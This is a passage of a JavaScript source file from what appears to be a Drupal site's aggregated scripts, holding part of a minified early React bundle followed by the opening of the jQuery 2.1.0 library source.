e=c;c=null,u(e,p),l(!c)}};a.canUseDOM&&(window.EventPluginHub=d),t.exports=d},{"./CallbackRegistry":4,"./EventPluginRegistry":16,"./EventPluginUtils":17,"./EventPropagators":18,"./ExecutionEnvironment":19,"./accumulate":61,"./forEachAccumulated":70,"./invariant":78}],16:[function(e,t){"use strict";function n(){if(a)for(var e in s){var t=s[e],n=a.indexOf(e);if(i(n>-1),!u.plugins[n]){i(t.extractEvents),u.plugins[n]=t;var o=t.eventTypes;for(var l in o)i(r(o[l],t))}}}function r(e,t){var n=e.phasedRegistrationNames;if(n){for(var r in n)if(n.hasOwnProperty(r)){var i=n[r];o(i,t)}return!0}return e.registrationName?(o(e.registrationName,t),!0):!1}function o(e,t){i(!u.registrationNames[e]),u.registrationNames[e]=t,u.registrationNamesKeys.push(e)}var i=e("./invariant"),a=null,s={},u={plugins:[],registrationNames:{},registrationNamesKeys:[],injectEventPluginOrder:function(e){i(!a),a=Array.prototype.slice.call(e),n()},injectEventPluginsByName:function(e){var t=!1;for(var r in e)if(e.hasOwnProperty(r)){var o=e[r];s[r]!==o&&(i(!s[r]),s[r]=o,t=!0)}t&&n()},getPluginModuleForEvent:function(e){var t=e.dispatchConfig;if(t.registrationName)return u.registrationNames[t.registrationName]||null;for(var n in t.phasedRegistrationNames)if(t.phasedRegistrationNames.hasOwnProperty(n)){var r=u.registrationNames[t.phasedRegistrationNames[n]];if(r)return r}return null},_resetEventPlugins:function(){a=null;for(var e in s)s.hasOwnProperty(e)&&delete s[e];u.plugins.length=0;var t=u.registrationNames;for(var n in t)t.hasOwnProperty(n)&&delete t[n];u.registrationNamesKeys.length=0}};t.exports=u},{"./invariant":78}],17:[function(e,t){"use strict";function n(e){return e===h.topMouseUp||e===h.topTouchEnd||e===h.topTouchCancel}function r(e){return e===h.topMouseMove||e===h.topTouchMove}function o(e){return e===h.topMouseDown||e===h.topTouchStart}function i(e,t){var n=e._dispatchListeners,r=e._dispatchIDs;if(Array.isArray(n))for(var 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o=t?v.bubbled:v.captured,i=n(e,r,o);i&&(r._dispatchListeners=d(r._dispatchListeners,i),r._dispatchIDs=d(r._dispatchIDs,e))}function o(e){e&&e.dispatchConfig.phasedRegistrationNames&&m.InstanceHandle.traverseTwoPhase(e.dispatchMarker,r,e)}function i(e,t,n){if(n&&n.dispatchConfig.registrationName){var r=n.dispatchConfig.registrationName,o=f(e,r);o&&(n._dispatchListeners=d(n._dispatchListeners,o),n._dispatchIDs=d(n._dispatchIDs,e))}}function a(e){e&&e.dispatchConfig.registrationName&&i(e.dispatchMarker,null,e)}function s(e){h(e,o)}function u(e,t,n,r){m.InstanceHandle.traverseEnterLeave(n,r,i,e,t)}function l(e){h(e,a)}var c=e("./CallbackRegistry"),p=e("./EventConstants"),d=e("./accumulate"),h=e("./forEachAccumulated"),f=c.getListener,v=p.PropagationPhases,m={InstanceHandle:null,injectInstanceHandle:function(e){m.InstanceHandle=e},validate:function(){var e=!m.InstanceHandle||!m.InstanceHandle.traverseTwoPhase||!m.InstanceHandle.traverseEnterLeave;if(e)throw new Error("InstanceHandle not injected before use!")}},g={accumulateTwoPhaseDispatches:s,accumulateDirectDispatches:l,accumulateEnterLeaveDispatches:u,injection:m};t.exports=g},{"./CallbackRegistry":4,"./EventConstants":13,"./accumulate":61,"./forEachAccumulated":70}],19:[function(e,t){"use strict";var n="undefined"!=typeof window,r={canUseDOM:n,canUseWorkers:"undefined"!=typeof Worker,isInWorker:!n,global:new Function("return this;")()};t.exports=r},{}],20:[function(e,t){"use strict";var n=e("./EventConstants"),r=e("./emptyFunction"),o=n.topLevelTypes,i={eventTypes:null,extractEvents:function(e,t,n,i){if(e===o.topTouchStart){var a=i.target;a&&!a.onclick&&(a.onclick=r)}}};t.exports=i},{"./EventConstants":13,"./emptyFunction":66}],21:[function(e,t){"use strict";var n=function(e){var t=this;if(t.instancePool.length){var n=t.instancePool.pop();return t.call(n,e),n}return new t(e)},r=function(e,t){var n=this;if(n.instancePool.length){var r=n.instancePool.pop();return n.call(r,e,t),r}return new n(e,t)},o=function(e,t,n){var r=this;if(r.instancePool.length){var o=r.instancePool.pop();return r.call(o,e,t,n),o}return new r(e,t,n)},i=function(e,t,n,r,o){var i=this;if(i.instancePool.length){var a=i.instancePool.pop();return i.call(a,e,t,n,r,o),a}return new i(e,t,n,r,o)},a=function(e){var t=this;e.destructor&&e.destructor(),t.instancePool.length<t.poolSize&&t.instancePool.push(e)},s=10,u=n,l=function(e,t){var n=e;return n.instancePool=[],n.getPooled=t||u,n.poolSize||(n.poolSize=s),n.release=a,n},c={addPoolingTo:l,oneArgumentPooler:n,twoArgumentPooler:r,threeArgumentPooler:o,fiveArgumentPooler:i};t.exports=c},{}],22:[function(e,t){"use strict";var n=e("./ReactCompositeComponent"),r=e("./ReactComponent"),o=e("./ReactDOM"),i=e("./ReactMount"),a=e("./ReactPropTypes"),s=e("./ReactServerRendering"),u=e("./ReactDefaultInjection");u.inject();var l={DOM:o,PropTypes:a,initializeTouchEvents:function(e){i.useTouchEvents=e},autoBind:n.autoBind,createClass:n.createClass,constructAndRenderComponent:i.constructAndRenderComponent,constructAndRenderComponentByID:i.constructAndRenderComponentByID,renderComponent:i.renderComponent,renderComponentToString:s.renderComponentToString,unmountAndReleaseReactRootNode:i.unmountAndReleaseReactRootNode,isValidComponent:r.isValidComponent};t.exports=l},{"./ReactComponent":23,"./ReactCompositeComponent":24,"./ReactDOM":26,"./ReactDefaultInjection":33,"./ReactMount":39,"./ReactPropTypes":45,"./ReactServerRendering":47}],23:[function(e,t){"use strict";var n=e("./getReactRootElementInContainer"),r=e("./ReactCurrentOwner"),o=e("./ReactDOMIDOperations"),i=e("./ReactMarkupChecksum"),a=e("./ReactMount"),s=e("./ReactOwner"),u=e("./ReactReconcileTransaction"),l=e("./ReactUpdates"),c=e("./invariant"),p=e("./keyMirror"),d=e("./merge"),h="{owner}",f=p({MOUNTED:null,UNMOUNTED:null}),v={isValidComponent:function(e){return!(!e||"function"!=typeof e.mountComponentIntoNode||"function"!=typeof e.receiveProps)},getKey:function(e,t){return e&&e.props&&null!=e.props.key?""+e.props.key:""+t},LifeCycle:f,DOMIDOperations:o,ReactReconcileTransaction:u,setDOMOperations:function(e){v.DOMIDOperations=e},setReactReconcileTransaction:function(e){v.ReactReconcileTransaction=e},Mixin:{isMounted:function(){return this._lifeCycleState===f.MOUNTED},getDOMNode:function(){return c(this.isMounted()),a.getNode(this._rootNodeID)},setProps:function(e,t){this.replaceProps(d(this._pendingProps||this.props,e),t)},replaceProps:function(e,t){c(!this.props[h]),this._pendingProps=e,l.enqueueUpdate(this,t)},construct:function(e,t){this.props=e||{},this.props[h]=r.current,this._lifeCycleState=f.UNMOUNTED,this._pendingProps=null,this._pendingCallbacks=null;var n=arguments.length-1;if(1===n)this.props.children=t;else if(n>1){for(var o=Array(n),i=0;n>i;i++)o[i]=arguments[i+1];this.props.children=o}},mountComponent:function(e){c(!this.isMounted());var t=this.props;null!=t.ref&&s.addComponentAsRefTo(this,t.ref,t[h]),this._rootNodeID=e,this._lifeCycleState=f.MOUNTED},unmountComponent:function(){c(this.isMounted());var e=this.props;null!=e.ref&&s.removeComponentAsRefFrom(this,e.ref,e[h]),a.purgeID(this._rootNodeID),this._rootNodeID=null,this._lifeCycleState=f.UNMOUNTED},receiveProps:function(e,t){c(this.isMounted()),this._pendingProps=e,this._performUpdateIfNecessary(t)},performUpdateIfNecessary:function(){var e=v.ReactReconcileTransaction.getPooled();e.perform(this._performUpdateIfNecessary,this,e),v.ReactReconcileTransaction.release(e)},_performUpdateIfNecessary:function(e){if(null!=this._pendingProps){var t=this.props;this.props=this._pendingProps,this._pendingProps=null,this.updateComponent(e,t)}},updateComponent:function(e,t){var n=this.props;(n[h]!==t[h]||n.ref!==t.ref)&&(null!=t.ref&&s.removeComponentAsRefFrom(this,t.ref,t[h]),null!=n.ref&&s.addComponentAsRefTo(this,n.ref,n[h]))},mountComponentIntoNode:function(e,t,n){var r=v.ReactReconcileTransaction.getPooled();r.perform(this._mountComponentIntoNode,this,e,t,r,n),v.ReactReconcileTransaction.release(r)},_mountComponentIntoNode:function(e,t,r,o){c(t&&1===t.nodeType);var a=this.mountComponent(e,r);if(!o||!i.canReuseMarkup(a,n(t))){var s=t.parentNode;if(s){var u=t.nextSibling;s.removeChild(t),t.innerHTML=a,u?s.insertBefore(t,u):s.appendChild(t)}else t.innerHTML=a}},unmountComponentFromNode:function(e){for(this.unmountComponent();e.lastChild;)e.removeChild(e.lastChild)},isOwnedBy:function(e){return this.props[h]===e},getSiblingByRef:function(e){var t=this.props[h];return t&&t.refs?t.refs[e]:null}}};t.exports=v},{"./ReactCurrentOwner":25,"./ReactDOMIDOperations":28,"./ReactMarkupChecksum":38,"./ReactMount":39,"./ReactOwner":43,"./ReactReconcileTransaction":46,"./ReactUpdates":49,"./getReactRootElementInContainer":73,"./invariant":78,"./keyMirror":81,"./merge":84}],24:[function(e,t){"use strict";function n(e,t){var n=m[t];C.hasOwnProperty(t)&&p(n===v.OVERRIDE_BASE),e.hasOwnProperty(t)&&p(n===v.DEFINE_MANY)}function r(e){var t=e._compositeLifeCycleState;p(e.isMounted()||t===y.MOUNTING),p(t!==y.RECEIVING_STATE&&t!==y.UNMOUNTING)}function o(e,t){var r=e.prototype;for(var o in t){var a=t[o];if(t.hasOwnProperty(o)&&a)if(n(r,o),g.hasOwnProperty(o))g[o](e,a);else{var s=o in m,u=o in r,l=a.__reactDontBind,c="function"==typeof a,p=c&&!s&&!u&&!l;p?(r.__reactAutoBindMap||(r.__reactAutoBindMap={}),r.__reactAutoBindMap[o]=a,r[o]=a):r[o]=u?i(r[o],a):a}}}function i(e,t){return function(){e.apply(this,arguments),t.apply(this,arguments)}}var a=e("./ReactComponent"),s=e("./ReactCurrentOwner"),u=e("./ReactOwner"),l=e("./ReactPropTransferer"),c=e("./ReactUpdates"),p=e("./invariant"),d=e("./keyMirror"),h=e("./merge"),f=e("./mixInto"),v=d({DEFINE_ONCE:null,DEFINE_MANY:null,OVERRIDE_BASE:null}),m={mixins:v.DEFINE_MANY,propTypes:v.DEFINE_ONCE,getDefaultProps:v.DEFINE_ONCE,getInitialState:v.DEFINE_ONCE,render:v.DEFINE_ONCE,componentWillMount:v.DEFINE_MANY,componentDidMount:v.DEFINE_MANY,componentWillReceiveProps:v.DEFINE_MANY,shouldComponentUpdate:v.DEFINE_ONCE,componentWillUpdate:v.DEFINE_MANY,componentDidUpdate:v.DEFINE_MANY,componentWillUnmount:v.DEFINE_MANY,updateComponent:v.OVERRIDE_BASE},g={displayName:function(e,t){e.displayName=t},mixins:function(e,t){if(t)for(var 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n=this._renderedComponent.mountComponent(e,t);return this.componentDidMount&&t.getReactOnDOMReady().enqueue(this,this.componentDidMount),n},unmountComponent:function(){this._compositeLifeCycleState=y.UNMOUNTING,this.componentWillUnmount&&this.componentWillUnmount(),this._compositeLifeCycleState=null,this._defaultProps=null,a.Mixin.unmountComponent.call(this),this._renderedComponent.unmountComponent(),this._renderedComponent=null,this.refs&&(this.refs=null)},setState:function(e,t){this.replaceState(h(this._pendingState||this.state,e),t)},replaceState:function(e,t){r(this),this._pendingState=e,c.enqueueUpdate(this,t)},_processProps:function(e){var t,n=this._defaultProps;for(t in n)t in e||(e[t]=n[t]);var r=this.constructor.propTypes;if(r){var o=this.constructor.displayName;for(t in r){var i=r[t];i&&i(e,t,o)}}},performUpdateIfNecessary:function(){var e=this._compositeLifeCycleState;e!==y.MOUNTING&&e!==y.RECEIVING_PROPS&&a.Mixin.performUpdateIfNecessary.call(this)},_performUpdateIfNecessary:function(e){if(null!=this._pendingProps||null!=this._pendingState||this._pendingForceUpdate){var t=this.props;null!=this._pendingProps&&(t=this._pendingProps,this._processProps(t),this._pendingProps=null,this._compositeLifeCycleState=y.RECEIVING_PROPS,this.componentWillReceiveProps&&this.componentWillReceiveProps(t,e)),this._compositeLifeCycleState=y.RECEIVING_STATE;var n=this._pendingState||this.state;this._pendingState=null,this._pendingForceUpdate||!this.shouldComponentUpdate||this.shouldComponentUpdate(t,n)?(this._pendingForceUpdate=!1,this._performComponentUpdate(t,n,e)):(this.props=t,this.state=n),this._compositeLifeCycleState=null}},_performComponentUpdate:function(e,t,n){var r=this.props,o=this.state;this.componentWillUpdate&&this.componentWillUpdate(e,t,n),this.props=e,this.state=t,this.updateComponent(n,r,o),this.componentDidUpdate&&n.getReactOnDOMReady().enqueue(this,this.componentDidUpdate.bind(this,r,o))},updateComponent:function(e,t){a.Mixin.updateComponent.call(this,e,t);var n=this._renderedComponent,r=this._renderValidatedComponent();if(n.constructor===r.constructor)n.receiveProps(r.props,e);else{var o=this._rootNodeID,i=n._rootNodeID;n.unmountComponent();var s=r.mountComponent(o,e);a.DOMIDOperations.dangerouslyReplaceNodeWithMarkupByID(i,s),this._renderedComponent=r}},forceUpdate:function(e){var t=this._compositeLifeCycleState;p(this.isMounted()||t===y.MOUNTING),p(t!==y.RECEIVING_STATE&&t!==y.UNMOUNTING),this._pendingForceUpdate=!0,c.enqueueUpdate(this,e)},_renderValidatedComponent:function(){var e;s.current=this;try{e=this.render()}catch(t){throw t}finally{s.current=null}return p(a.isValidComponent(e)),e},_bindAutoBindMethods:function(){for(var e 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r=e("./ReactNativeComponent"),o=e("./mergeInto"),i=e("./objMapKeyVal"),a=i({a:!1,abbr:!1,address:!1,area:!1,article:!1,aside:!1,audio:!1,b:!1,base:!1,bdi:!1,bdo:!1,big:!1,blockquote:!1,body:!1,br:!0,button:!1,canvas:!1,caption:!1,cite:!1,code:!1,col:!0,colgroup:!1,data:!1,datalist:!1,dd:!1,del:!1,details:!1,dfn:!1,div:!1,dl:!1,dt:!1,em:!1,embed:!0,fieldset:!1,figcaption:!1,figure:!1,footer:!1,form:!1,h1:!1,h2:!1,h3:!1,h4:!1,h5:!1,h6:!1,head:!1,header:!1,hr:!0,html:!1,i:!1,iframe:!1,img:!0,input:!0,ins:!1,kbd:!1,keygen:!0,label:!1,legend:!1,li:!1,link:!1,main:!1,map:!1,mark:!1,menu:!1,menuitem:!1,meta:!0,meter:!1,nav:!1,noscript:!1,object:!1,ol:!1,optgroup:!1,option:!1,output:!1,p:!1,param:!0,pre:!1,progress:!1,q:!1,rp:!1,rt:!1,ruby:!1,s:!1,samp:!1,script:!1,section:!1,select:!1,small:!1,source:!1,span:!1,strong:!1,style:!1,sub:!1,summary:!1,sup:!1,table:!1,tbody:!1,td:!1,textarea:!1,tfoot:!1,th:!1,thead:!1,time:!1,title:!1,tr:!1,track:!0,u:!1,ul:!1,"var":!1,video:!1,wbr:!1,circle:!1,g:!1,line:!1,path:!1,polyline:!1,rect:!1,svg:!1,text:!1},n),s={injectComponentClasses:function(e){o(a,e)}};a.injection=s,t.exports=a},{"./ReactNativeComponent":41,"./mergeInto":86,"./objMapKeyVal":88}],27:[function(e,t){"use strict";var n=e("./ReactCompositeComponent"),r=e("./ReactDOM"),o=e("./ReactEventEmitter"),i=e("./EventConstants"),a=r.form,s=n.createClass({render:function(){return this.transferPropsTo(a(null,this.props.children))},componentDidMount:function(e){o.trapBubbledEvent(i.topLevelTypes.topSubmit,"submit",e)}});t.exports=s},{"./EventConstants":13,"./ReactCompositeComponent":24,"./ReactDOM":26,"./ReactEventEmitter":34}],28:[function(e,t){"use strict";
var n=e("./CSSPropertyOperations"),r=e("./DOMChildrenOperations"),o=e("./DOMPropertyOperations"),i=e("./ReactMount"),a=e("./getTextContentAccessor"),s=e("./invariant"),u={dangerouslySetInnerHTML:"`dangerouslySetInnerHTML` must be set using `updateInnerHTMLByID()`.",style:"`style` must be set using `updateStylesByID()`."},l=a()||"NA",c={updatePropertyByID:function(e,t,n){var r=i.getNode(e);s(!u.hasOwnProperty(t)),null!=n?o.setValueForProperty(r,t,n):o.deleteValueForProperty(r,t)},deletePropertyByID:function(e,t,n){var r=i.getNode(e);s(!u.hasOwnProperty(t)),o.deleteValueForProperty(r,t,n)},updatePropertiesByID:function(e,t){for(var n in t)t.hasOwnProperty(n)&&c.updatePropertiesByID(e,n,t[n])},updateStylesByID:function(e,t){var r=i.getNode(e);n.setValueForStyles(r,t)},updateInnerHTMLByID:function(e,t){var n=i.getNode(e);n.innerHTML=(t&&t.__html||"").replace(/^ /g," ")},updateTextContentByID:function(e,t){var n=i.getNode(e);n[l]=t},dangerouslyReplaceNodeWithMarkupByID:function(e,t){var n=i.getNode(e);r.dangerouslyReplaceNodeWithMarkup(n,t)},manageChildrenByParentID:function(e,t){var n=i.getNode(e);r.manageChildren(n,t)}};t.exports=c},{"./CSSPropertyOperations":3,"./DOMChildrenOperations":6,"./DOMPropertyOperations":8,"./ReactMount":39,"./getTextContentAccessor":74,"./invariant":78}],29:[function(e,t){"use strict";var n=e("./DOMPropertyOperations"),r=e("./ReactCompositeComponent"),o=e("./ReactDOM"),i=e("./merge"),a=o.input,s=r.createClass({getInitialState:function(){return{checked:this.props.defaultChecked||!1,value:this.props.defaultValue||""}},shouldComponentUpdate:function(){return!this._isChanging},getChecked:function(){return null!=this.props.checked?this.props.checked:this.state.checked},getValue:function(){return null!=this.props.value?""+this.props.value:this.state.value},render:function(){var e=i(this.props);return e.checked=this.getChecked(),e.value=this.getValue(),e.onChange=this.handleChange,a(e,this.props.children)},componentDidUpdate:function(e,t,r){null!=this.props.checked&&n.setValueForProperty(r,"checked",this.props.checked||!1),null!=this.props.value&&n.setValueForProperty(r,"value",""+this.props.value||"")},handleChange:function(e){var t;return this.props.onChange&&(this._isChanging=!0,t=this.props.onChange(e),this._isChanging=!1),this.setState({checked:e.target.checked,value:e.target.value}),t}});t.exports=s},{"./DOMPropertyOperations":8,"./ReactCompositeComponent":24,"./ReactDOM":26,"./merge":84}],30:[function(e,t){"use strict";var n=e("./ReactCompositeComponent"),r=e("./ReactDOM"),o=r.option,i=n.createClass({componentWillMount:function(){null!=this.props.selected},render:function(){return o(this.props,this.props.children)}});t.exports=i},{"./ReactCompositeComponent":24,"./ReactDOM":26}],31:[function(e,t){"use strict";function n(e,t){null!=e[t]&&(e.multiple?a(Array.isArray(e[t])):a(!Array.isArray(e[t])))}function r(){if(null!=this.props.value)for(var e=this.getDOMNode().options,t=""+this.props.value,n=0,r=e.length;r>n;n++){var o=this.props.multiple?t.indexOf(e[n].value)>=0:o=e[n].value===t;o!==e[n].selected&&(e[n].selected=o)}}var o=e("./ReactCompositeComponent"),i=e("./ReactDOM"),a=e("./invariant"),s=e("./merge"),u=i.select,l=o.createClass({propTypes:{defaultValue:n,value:n},getInitialState:function(){return{value:this.props.defaultValue||(this.props.multiple?[]:"")}},componentWillReceiveProps:function(e){!this.props.multiple&&e.multiple?this.setState({value:[this.state.value]}):this.props.multiple&&!e.multiple&&this.setState({value:this.state.value[0]})},shouldComponentUpdate:function(){return!this._isChanging},render:function(){var e=s(this.props);return e.onChange=this.handleChange,e.value=null,u(e,this.props.children)},componentDidMount:r,componentDidUpdate:r,handleChange:function(e){var t;this.props.onChange&&(this._isChanging=!0,t=this.props.onChange(e),this._isChanging=!1);var n;if(this.props.multiple){n=[];for(var r=e.target.options,o=0,i=r.length;i>o;o++)r[o].selected&&n.push(r[o].value)}else n=e.target.value;return this.setState({value:n}),t}});t.exports=l},{"./ReactCompositeComponent":24,"./ReactDOM":26,"./invariant":78,"./merge":84}],32:[function(e,t){"use strict";var n=e("./DOMPropertyOperations"),r=e("./ReactCompositeComponent"),o=e("./ReactDOM"),i=e("./invariant"),a=e("./merge"),s=o.textarea,u={string:!0,number:!0},l=r.createClass({getInitialState:function(){var e=this.props.defaultValue,t=this.props.children;return null!=t&&(i(null==e),Array.isArray(t)&&(i(t.length<=1),t=t[0]),i(u[typeof t]),e=""+t),e=e||"",{initialValue:null!=this.props.value?this.props.value:e,value:e}},shouldComponentUpdate:function(){return!this._isChanging},getValue:function(){return null!=this.props.value?this.props.value:this.state.value},render:function(){var e=a(this.props);return i(null==e.dangerouslySetInnerHTML),e.value=this.getValue(),e.onChange=this.handleChange,s(e,this.state.initialValue)},componentDidUpdate:function(e,t,r){null!=this.props.value&&n.setValueForProperty(r,"value",this.props.value||"")},handleChange:function(e){var t;return this.props.onChange&&(this._isChanging=!0,t=this.props.onChange(e),this._isChanging=!1),this.setState({value:e.target.value}),t}});t.exports=l},{"./DOMPropertyOperations":8,"./ReactCompositeComponent":24,"./ReactDOM":26,"./invariant":78,"./merge":84}],33:[function(e,t){"use strict";function n(){l.TopLevelCallbackCreator=c,m.injection.injectEventPluginOrder(h),m.injection.injectInstanceHandle(g),m.injection.injectEventPluginsByName({SimpleEventPlugin:y,EnterLeaveEventPlugin:f,ChangeEventPlugin:v,MobileSafariClickEventPlugin:C}),r.injection.injectComponentClasses({form:o,input:i,option:a,select:s,textarea:u}),d.injection.injectDOMPropertyConfig(p)}var r=e("./ReactDOM"),o=e("./ReactDOMForm"),i=e("./ReactDOMInput"),a=e("./ReactDOMOption"),s=e("./ReactDOMSelect"),u=e("./ReactDOMTextarea"),l=e("./ReactEventEmitter"),c=e("./ReactEventTopLevelCallback"),p=e("./DefaultDOMPropertyConfig"),d=e("./DOMProperty"),h=e("./DefaultEventPluginOrder"),f=e("./EnterLeaveEventPlugin"),v=e("./ChangeEventPlugin"),m=e("./EventPluginHub"),g=e("./ReactInstanceHandles"),y=e("./SimpleEventPlugin"),C=e("./MobileSafariClickEventPlugin");t.exports={inject:n}},{"./ChangeEventPlugin":5,"./DOMProperty":7,"./DefaultDOMPropertyConfig":10,"./DefaultEventPluginOrder":11,"./EnterLeaveEventPlugin":12,"./EventPluginHub":15,"./MobileSafariClickEventPlugin":20,"./ReactDOM":26,"./ReactDOMForm":27,"./ReactDOMInput":29,"./ReactDOMOption":30,"./ReactDOMSelect":31,"./ReactDOMTextarea":32,"./ReactEventEmitter":34,"./ReactEventTopLevelCallback":35,"./ReactInstanceHandles":37,"./SimpleEventPlugin":50}],34:[function(e,t){"use strict";function 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n=function(e,t){if(e)throw new Error(t)};t.exports=n},{}],90:[function(e,t){"use strict";function n(e,t,n){null!==e&&void 0!==e&&a(e,"",0,t,n)}var r=e("./ReactComponent"),o=e("./ReactTextComponent"),i=e("./invariant"),a=function(e,t,n,s,u){var l=0;if(Array.isArray(e))for(var c=0;c<e.length;c++){var p=e[c],d=t+"["+r.getKey(p,c)+"]",h=n+l;l+=a(p,d,h,s,u)}else{var f=typeof e,v=""===t,m=v?"["+r.getKey(e,0)+"]":t;if(null===e||void 0===e||"boolean"===f)s(u,null,m,n),l=1;else if(e.mountComponentIntoNode)s(u,e,m,n),l=1;else if("object"===f){i(e||1!==e.nodeType);for(var g in e)e.hasOwnProperty(g)&&(l+=a(e[g],t+"{"+g+"}",n+l,s,u))}else if("string"===f){var y=new o(e);s(u,y,m,n),l+=1}else if("number"===f){var C=new o(""+e);s(u,C,m,n),l+=1}}return l};t.exports=n},{"./ReactComponent":23,"./ReactTextComponent":48,"./invariant":78}]},{},[22])(22)});
|
sites/default/files/js/js_89YpMKbzHT8GmR3uBXdhlSlb8biiUgtwnIwW6PNuGwI.js
|
rujiali/cooking4
|
/*!
* jQuery JavaScript Library v2.1.0
* http://jquery.com/
*
* Includes Sizzle.js
* http://sizzlejs.com/
*
* Copyright 2005, 2014 jQuery Foundation, Inc. and other contributors
* Released under the MIT license
* http://jquery.org/license
*
* Date: 2014-01-23T21:10Z
*/
(function( global, factory ) {
if ( typeof module === "object" && typeof module.exports === "object" ) {
// For CommonJS and CommonJS-like environments where a proper window is present,
// execute the factory and get jQuery
// For environments that do not inherently posses a window with a document
// (such as Node.js), expose a jQuery-making factory as module.exports
// This accentuates the need for the creation of a real window
// e.g. var jQuery = require("jquery")(window);
// See ticket #14549 for more info
module.exports = global.document ?
factory( global, true ) :
function( w ) {
if ( !w.document ) {
throw new Error( "jQuery requires a window with a document" );
}
return factory( w );
};
} else {
factory( global );
}
// Pass this if window is not defined yet
}(typeof window !== "undefined" ? window : this, function( window, noGlobal ) {
// Can't do this because several apps including ASP.NET trace
// the stack via arguments.caller.callee and Firefox dies if
// you try to trace through "use strict" call chains. (#13335)
// Support: Firefox 18+
//
var arr = [];
var slice = arr.slice;
var concat = arr.concat;
var push = arr.push;
var indexOf = arr.indexOf;
var class2type = {};
var toString = class2type.toString;
var hasOwn = class2type.hasOwnProperty;
var trim = "".trim;
var support = {};
var
// Use the correct document accordingly with window argument (sandbox)
document = window.document,
version = "2.1.0",
// Define a local copy of jQuery
jQuery = function( selector, context ) {
// The jQuery object is actually just the init constructor 'enhanced'
// Need init if jQuery is called (just allow error to be thrown if not included)
return new jQuery.fn.init( selector, context );
},
// Matches dashed string for camelizing
rmsPrefix = /^-ms-/,
rdashAlpha = /-([\da-z])/gi,
// Used by jQuery.camelCase as callback to replace()
fcamelCase = function( all, letter ) {
return letter.toUpperCase();
};
jQuery.fn = jQuery.prototype = {
// The current version of jQuery being used
jquery: version,
constructor: jQuery,
// Start with an empty selector
selector: "",
// The default length of a jQuery object is 0
length: 0,
toArray: function() {
return slice.call( this );
},
// Get the Nth element in the matched element set OR
// Get the whole matched element set as a clean array
get: function( num ) {
return num != null ?
// Return a 'clean' array
( num < 0 ? this[ num + this.length ] : this[ num ] ) :
// Return just the object
slice.call( this );
},
// Take an array of elements and push it onto the stack
// (returning the new matched element set)
pushStack: function( elems ) {
// Build a new jQuery matched element set
var ret = jQuery.merge( this.constructor(), elems );
// Add the old object onto the stack (as a reference)
ret.prevObject = this;
ret.context = this.context;
// Return the newly-formed element set
return ret;
},
// Execute a callback for every element in the matched set.
// (You can seed the arguments with an array of args, but this is
// only used internally.)
each: function( callback, args ) {
return jQuery.each( this, callback, args );
},
map: function( callback ) {
return this.pushStack( jQuery.map(this, function( elem, i ) {
return callback.call( elem, i, elem );
}));
},
slice: function() {
return this.pushStack( slice.apply( this, arguments ) );
},
first: function() {
return this.eq( 0 );
},
last: function() {
return this.eq( -1 );
},
eq: function( i ) {
var len = this.length,
j = +i + ( i < 0 ? len : 0 );
return this.pushStack( j >= 0 && j < len ? [ this[j] ] : [] );
},
end: function() {
return this.prevObject || this.constructor(null);
},
// For internal use only.
// Behaves like an Array's method, not like a jQuery method.
push: push,
sort: arr.sort,
splice: arr.splice
};
jQuery.extend = jQuery.fn.extend = function() {
var options, name, src, copy, copyIsArray, clone,
target = arguments[0] || {},
i = 1,
length = arguments.length,
deep = false;
// Handle a deep copy situation
if ( typeof target === "boolean" ) {
deep = target;
// skip the boolean and the target
target = arguments[ i ] || {};
i++;
}
// Handle case when target is a string or something (possible in deep copy)
if ( typeof target !== "object" && !jQuery.isFunction(target) ) {
target = {};
}
// extend jQuery itself if only one argument is passed
if ( i === length ) {
target = this;
i--;
}
for ( ; i < length; i++ ) {
// Only deal with non-null/undefined values
if ( (options = arguments[ i ]) != null ) {
// Extend the base object
for ( name in options ) {
src = target[ name ];
copy = options[ name ];
// Prevent never-ending loop
if ( target === copy ) {
continue;
}
// Recurse if we're merging plain objects or arrays
if ( deep && copy && ( jQuery.isPlainObject(copy) || (copyIsArray = jQuery.isArray(copy)) ) ) {
if ( copyIsArray ) {
copyIsArray = false;
clone = src && jQuery.isArray(src) ? src : [];
} else {
clone = src && jQuery.isPlainObject(src) ? src : {};
}
// Never move original objects, clone them
target[ name ] = jQuery.extend( deep, clone, copy );
// Don't bring in undefined values
} else if ( copy !== undefined ) {
target[ name ] = copy;
}
}
}
}
// Return the modified object
return target;
};
jQuery.extend({
// Unique for each copy of jQuery on the page
expando: "jQuery" + ( version + Math.random() ).replace( /\D/g, "" ),
// Assume jQuery is ready without the ready module
isReady: true,
error: function( msg ) {
throw new Error( msg );
},
noop: function() {},
// See test/unit/core.js for details concerning isFunction.
// Since version 1.3, DOM methods and functions like alert
// aren't supported. They return false on IE (#2968).
isFunction: function( obj ) {
return jQuery.type(obj) === "function";
},
isArray: Array.isArray,
isWindow: function( obj ) {
return obj != null && obj === obj.window;
},
isNumeric: function( obj ) {
// parseFloat NaNs numeric-cast false positives (null|true|false|"")
// ...but misinterprets leading-number strings, particularly hex literals ("0x...")
// subtraction forces infinities to NaN
return obj - parseFloat( obj ) >= 0;
},
isPlainObject: function( obj ) {
// Not plain objects:
// - Any object or value whose internal [[Class]] property is not "[object Object]"
// - DOM nodes
// - window
if ( jQuery.type( obj ) !== "object" || obj.nodeType || jQuery.isWindow( obj ) ) {
return false;
}
// Support: Firefox <20
// The try/catch suppresses exceptions thrown when attempting to access
// the "constructor" property of certain host objects, ie. |window.location|
// https://bugzilla.mozilla.org/show_bug.cgi?id=814622
try {
if ( obj.constructor &&
!hasOwn.call( obj.constructor.prototype, "isPrototypeOf" ) ) {
return false;
}
} catch ( e ) {
return false;
}
// If the function hasn't returned already, we're confident that
// |obj| is a plain object, created by {} or constructed with new Object
return true;
},
isEmptyObject: function( obj ) {
var name;
for ( name in obj ) {
return false;
}
return true;
},
type: function( obj ) {
if ( obj == null ) {
return obj + "";
}
// Support: Android < 4.0, iOS < 6 (functionish RegExp)
return typeof obj === "object" || typeof obj === "function" ?
class2type[ toString.call(obj) ] || "object" :
typeof obj;
},
// Evaluates a script in a global context
globalEval: function( code ) {
var script,
indirect = eval;
code = jQuery.trim( code );
if ( code ) {
// If the code includes a valid, prologue position
// strict mode pragma, execute code by injecting a
// script tag into the document.
if ( code.indexOf("use strict") === 1 ) {
script = document.createElement("script");
script.text = code;
document.head.appendChild( script ).parentNode.removeChild( script );
} else {
// Otherwise, avoid the DOM node creation, insertion
// and removal by using an indirect global eval
indirect( code );
}
}
},
// Convert dashed to camelCase; used by the css and data modules
// Microsoft forgot to hump their vendor prefix (#9572)
camelCase: function( string ) {
return string.replace( rmsPrefix, "ms-" ).replace( rdashAlpha, fcamelCase );
},
